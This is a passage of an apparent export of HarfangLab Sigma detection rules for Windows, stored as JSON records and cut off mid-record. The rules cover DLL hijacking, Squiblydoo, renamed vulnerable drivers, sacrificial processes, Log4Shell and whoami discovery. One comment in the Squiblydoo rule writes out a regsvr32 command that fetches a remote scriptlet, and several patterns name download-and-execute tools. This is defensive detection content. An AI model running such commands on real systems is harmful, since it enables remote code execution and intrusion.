+  "content": "title: DLL Hijacking via McOds.exe\nid: 096b4462-7384-4447-95a6-a2c2c26ffcb0\ndescription: |\n    Detects potential Windows DLL Hijacking via McOds.exe related to McAfee VirusScan.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://blog.eclecticiq.com/chinese-state-sponsored-cyber-espionage-activity-targeting-semiconductor-industry-in-east-asia\n    - https://securelist.com/common-ttps-of-attacks-against-industrial-organizations/110319/\n    - https://twitter.com/malwrhunterteam/status/1558149472672251904\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/03/20\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'McOds.exe'\n        ImageLoaded|endswith: '\\McVsoCfg.dll'\n\n    filter_legitimate_image:\n        Image|startswith: '?:\\Program Files\\McAfee\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith: '?:\\Program Files\\McAfee\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'McAfee, Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "096b4462-7384-4447-95a6-a2c2c26ffcb0",
+  "rule_name": "DLL Hijacking via McOds.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via McOds.exe related to McAfee VirusScan.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-03-20",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "09718066-8257-4dd4-83e0-14787bbc9fd3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.615428Z",
+  "creation_date": "2026-03-23T11:45:34.615432Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.615439Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://car.mitre.org/analytics/CAR-2019-04-003/",
+    "https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo",
+    "https://github.com/cobbr/Covenant",
+    "https://attack.mitre.org/techniques/T1218/010/",
+    "https://lolbas-project.github.io/lolbas/Libraries/Scrobj/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/"
+  ],
+  "name": "t1218_010_squiblydoo.yml",
+  "content": "title: Possible Squiblydoo Attack Detected\nid: 09718066-8257-4dd4-83e0-14787bbc9fd3\ndescription: |\n    Detects a suspicious invocation of `scrobj.dll` by `regsvr32.exe` (both lolbins), a technique also known as Squiblydoo.\n    Attackers can used this technique to proxy execution of malicious code.\n    This can be a sign of Covenant Regsvr32 launcher exploitation.\n    Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET.\n    It is recommended to investigate the parent process for suspicious activities as well as other malicious actions stemming from the regsvr32 process.\nreferences:\n    - https://car.mitre.org/analytics/CAR-2019-04-003/\n    - https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo\n    - https://github.com/cobbr/Covenant\n    - https://attack.mitre.org/techniques/T1218/010/\n    - https://lolbas-project.github.io/lolbas/Libraries/Scrobj/\n    - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/\ndate: 2021/02/10\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.010\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Scrobj\n    - classification.Windows.LOLBin.Regsvr32\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # regsvr32 /s /u /n /i:http://xxx.xxx.xxxx.xxx:9998/19jSi scrobj\n    selection_1:\n        - Image|endswith: '\\regsvr32.exe'\n        - OriginalFileName: 'REGSVR32.EXE'\n    selection_2:\n        CommandLine|contains: 'scrobj'\n\n    exclusion_scrobj:\n        CommandLine:\n            - '?:\\windows\\system32\\regsvr32.exe ?:\\windows\\system32\\scrobj.dll /s'\n            - '?:\\WINDOWS\\SysWoW64\\regsvr32.exe ?:\\WINDOWS\\SysWoW64\\scrobj.dll /s'\n            - 'regsvr32.exe /s ?:\\Windows??system32\\scrobj.dll'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "09718066-8257-4dd4-83e0-14787bbc9fd3",
+  "rule_name": "Possible Squiblydoo Attack Detected",
+  "rule_description": "Detects a suspicious invocation of `scrobj.dll` by `regsvr32.exe` (both lolbins), a technique also known as Squiblydoo.\nAttackers can used this technique to proxy execution of malicious code.\nThis can be a sign of Covenant Regsvr32 launcher exploitation.\nCovenant is a .NET command and control framework that aims to highlight the attack surface of .NET.\nIt is recommended to investigate the parent process for suspicious activities as well as other malicious actions stemming from the regsvr32 process.\n",
+  "rule_creation_date": "2021-02-10",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "098502c3-27e1-4c6f-a53e-8fa8f3dd549f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594813Z",
+  "creation_date": "2026-03-23T11:45:34.594816Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594824Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pcalua.yml",
+  "content": "title: DLL Hijacking via pcalua.exe\nid: 098502c3-27e1-4c6f-a53e-8fa8f3dd549f\ndescription: |\n    Detects potential Windows DLL Hijacking via pcalua.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pcalua.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\pcaui.dll'\n            - '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "098502c3-27e1-4c6f-a53e-8fa8f3dd549f",
+  "rule_name": "DLL Hijacking via pcalua.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pcalua.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "09c303fe-d535-4d15-9f45-17f91b3e39fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627557Z",
+  "creation_date": "2026-03-23T11:45:34.627559Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627563Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/",
+    "https://www.iobit.com/fr/iobit-unlocker.php",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_execution_of_renamed_iobitunlocker_driver.yml",
+  "content": "title: Renamed IObit Unlocker Driver Loaded\nid: 09c303fe-d535-4d15-9f45-17f91b3e39fc\ndescription: |\n    Detects the loading of a renamed IObit Unlocker driver. IObit Unlocker is a utility used to remove files locked by the system.\n    This driver driver has been abused by adversaries to disable security tools and evade detection.\n    It is recommended to analyze the host for other suspicious activities and to isolate it if needed.\nreferences:\n    - https://www.reliaquest.com/blog/double-extortion-attack-analysis/\n    - https://www.iobit.com/fr/iobit-unlocker.php\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/09/19\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Tool.IoBitUnlocker\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.VulnerableDriver\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: driver_load\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'IObitUnlocker.sys'\n\n    # This is handled by the rule 79f2b027-0261-441e-a1d1-d569515a7c9b\n    filter_image:\n        ImageLoaded|endswith: '\\IObitUnlocker.sys'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "09c303fe-d535-4d15-9f45-17f91b3e39fc",
+  "rule_name": "Renamed IObit Unlocker Driver Loaded",
+  "rule_description": "Detects the loading of a renamed IObit Unlocker driver. IObit Unlocker is a utility used to remove files locked by the system.\nThis driver driver has been abused by adversaries to disable security tools and evade detection.\nIt is recommended to analyze the host for other suspicious activities and to isolate it if needed.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "09e88047-86aa-4e82-a0bb-4d8613732d6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616726Z",
+  "creation_date": "2026-03-23T11:45:34.616729Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616737Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/from-email-to-rat-deciphering-a-vb-script-driven-campaign/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_wab.yml",
+  "content": "title: Wab.exe Sacrificial Process Spawned\nid: 09e88047-86aa-4e82-a0bb-4d8613732d6a\ndescription: |\n    Detects the suspicious execution of the legitimate wab.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by GuLoader, an advanced malware downloader that uses a polymorphic shellcode loader to dodge traditional security solutions.\n    It is recommended to investigate the parent process performing this action and the destination IP address of wab.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/from-email-to-rat-deciphering-a-vb-script-driven-campaign/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/22\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Program Files\\Windows Mail\\wab.exe'\n\n    filter_parent:\n        ParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "09e88047-86aa-4e82-a0bb-4d8613732d6a",
+  "rule_name": "Wab.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate wab.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by GuLoader, an advanced malware downloader that uses a polymorphic shellcode loader to dodge traditional security solutions.\nIt is recommended to investigate the parent process performing this action and the destination IP address of wab.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-03-22",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "09f74bd7-74d5-4ebb-bdda-430f8cf9a81f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073376Z",
+  "creation_date": "2026-03-23T11:45:34.073377Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073382Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/",
+    "https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/",
+    "https://attack.mitre.org/versions/v10/techniques/T1190/"
+  ],
+  "name": "t1190_log4j_vulnerability_exploitation.yml",
+  "content": "title: Suspicious Process Spawned by Java Application\nid: 09f74bd7-74d5-4ebb-bdda-430f8cf9a81f\ndescription: |\n    Detects a potential exploitation of the Apache Java Logging Library Log4j Vulnerability aka Log4Shell (CVE-2021-44228).\n    This critical vulnerability is a remote code execution (RCE) in the Apache Java logging library Log4j, actively exploited, that allows an attacker to gain full control of the affected servers.\n    It is recommended to analyze the processes executed by the Java process to look for malicious actions and to determine whether the Java application is running a vulnerable version of Log4j.\nreferences:\n    - https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/\n    - https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/\n    - https://attack.mitre.org/versions/v10/techniques/T1190/\ndate: 2021/12/20\nmodified: 2025/05/27\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.Java\n    - classification.Windows.Exploit.Log4Shell\n    - classification.Windows.Exploit.CVE-2021-44228\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ParentImage|endswith:\n            - '\\java.exe'\n            - '\\javaw.exe'\n            - '\\jp2launcher.exe'\n        - ParentImage|endswith: '\\cmd.exe'\n          GrandparentImage|endswith:\n            - '\\java.exe'\n            - '\\javaw.exe'\n            - '\\jp2launcher.exe'\n\n    selection_powershell:\n        Image|endswith: '\\powershell.exe'\n        CommandLine|contains:\n            - 'iex'\n            - 'invoke-expression'\n            - 'Start-Process'\n            - 'New-Object -ComObject'\n            - '*^*^*^*'\n\n    selection_msiexec:\n        Image|endswith: '\\msiexec.exe'\n        CommandLine|contains: 'http'\n\n    selection_mshta:\n        Image|endswith: '\\mshta.exe'\n        CommandLine|contains: 'http'\n\n    selection_regsvr32:\n        Image|endswith: '\\regsvr32.exe'\n        CommandLine|contains: 'http'\n\n    selection_rundll32:\n        Image|endswith: '\\rundll32.exe'\n        CommandLine|contains|all:\n            - 'RunHTMLApplication'\n            - 'mshtml'\n\n    selection_hh:\n        Image|endswith: '\\hh.exe'\n        CommandLine|contains: 'http'\n\n    selection_schtasks:\n        Image|endswith: '\\schtasks.exe'\n        CommandLine|contains: '/create'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - 'powershell.exe -Command & {Start-Process -FilePath `\"?:\\KineQuantum\\steamvrredist\\bin\\'\n            - 'powershell.exe -Command Start-Process ??:\\Program Files\\'\n            - 'powershell.exe -Command Start-Process ??:\\Program Files (x86)\\'\n            - '/tr ?:\\Apple\\Local\\Library\\WebObjects\\Applications\\'\n            - '/tr ??:\\Program Files\\'\n            - '/tr ??:\\Program Files (x86)\\'\n\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nfalsepositives:\n    - Some Java applications may spawn a legitimate process.\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "09f74bd7-74d5-4ebb-bdda-430f8cf9a81f",
+  "rule_name": "Suspicious Process Spawned by Java Application",
+  "rule_description": "Detects a potential exploitation of the Apache Java Logging Library Log4j Vulnerability aka Log4Shell (CVE-2021-44228).\nThis critical vulnerability is a remote code execution (RCE) in the Apache Java logging library Log4j, actively exploited, that allows an attacker to gain full control of the affected servers.\nIt is recommended to analyze the processes executed by the Java process to look for malicious actions and to determine whether the Java application is running a vulnerable version of Log4j.\n",
+  "rule_creation_date": "2021-12-20",
+  "rule_modified_date": "2025-05-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0a3934f6-2b4c-4fb0-81ea-2601e7665b3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622840Z",
+  "creation_date": "2026-03-23T11:45:34.622842Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622846Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_whoami_windows.yml",
+  "content": "title: Current Username Discovered via Whoami (Windows)\nid: 0a3934f6-2b4c-4fb0-81ea-2601e7665b3a\ndescription: |\n    Detects the execution of whoami.exe.\n    This command is often used by attackers during the discovery phase to discover their user ID, permissions and groups.\n    It is recommended to analyze the parent process and context as well as to correlate this alert with other discovery commands executed around it.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2021/03/15\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    # whoami /groups\n    - attack.t1069\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\whoami.exe'\n        # Renamed binaries\n        - OriginalFileName: 'whoami.exe'\n\n    selection_commandline:\n        CommandLine:\n            - 'whoami'\n            - 'whoami ?all'\n            - 'whoami ?priv'\n            - 'whoami ?groups'\n            - 'whoami.exe'\n            - 'whoami.exe ?all'\n            - 'whoami.exe ?priv'\n            - 'whoami.exe ?groups'\n        ParentImage|contains: '?'\n\n    # This is handled by the rule 77575317-f87a-49a1-b295-f2a7a23f75d4\n    filter_system:\n        IntegrityLevel: 'System'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_programfiles:\n        - ParentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n        - GrandparentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_grandparentimage:\n        GrandparentImage|endswith:\n            # IBM i Access Client Solutions\n            - '\\Start_Programs\\Windows_i386-32\\acslaunch_win-32.exe'\n            - '\\Start_Programs\\Windows_x86-64\\acslaunch_win-64.exe'\n            - '\\ArcGIS\\Portal\\framework\\service\\bin\\ArcGISPortal.exe'\n            - '\\ArcGIS\\Portal\\framework\\runtime\\jre\\bin\\javaw.exe'\n            - '\\ArcGIS_Portal\\Portal\\framework\\service\\bin\\ArcGISPortal.exe'\n            - '\\ArcGIS_Portal\\Portal\\framework\\runtime\\jre\\bin\\javaw.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ccmcache:\n        CurrentDirectory|startswith: '?:\\Windows\\ccmcache\\'\n\n    exclusion_msys2:\n        Image: '?:\\msys64\\usr\\bin\\whoami.exe'\n        ParentImage:\n            - '?:\\msys64\\usr\\bin\\bash.exe'\n            - '?:\\msys64\\usr\\bin\\sh.exe'\n\n    exclusion_ms_monitoring_agent:\n        # grandparent: C:\\Windows\\system32\\cscript.exe /nologo ApplicationPartitionDiscovery.vbs 0 {B87E55DB-EA55-993D-FA42-5A4B215D0593} {59E3FB68-8F43-D96C-1EF9-EE090EDDD8E6} false xxx_domain_name_xxx yyyyy 11001 21001\n        GrandparentCommandLine|startswith: '?:\\Windows\\system32\\cscript.exe /nologo ApplicationPartitionDiscovery.vbs '\n        CurrentDirectory|startswith: '?:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State'\n\n    exclusion_palo_alto:\n        # C:\\windows\\system32\\cmd.exe /S /C chcp 437>nul 2>&1 & C:\\windows\\System32\\whoami.exe  /groups\n        # but for whatever reason, we don't have the grandparentinfo (PanGpHip.exe)\n        CommandLine: '?:\\windows\\System32\\whoami.exe /groups'  # 1 space before /groups\n        ParentCommandLine: '?:\\windows\\system32\\cmd.exe /S /C chcp 437>nul 2>&1 & ?:\\windows\\System32\\whoami.exe  /groups'  # 2 spaces before /groups\n\n    exclusion_podman:\n        GrandparentImage|endswith: '\\Podman Desktop.exe'\n        ParentCommandLine: 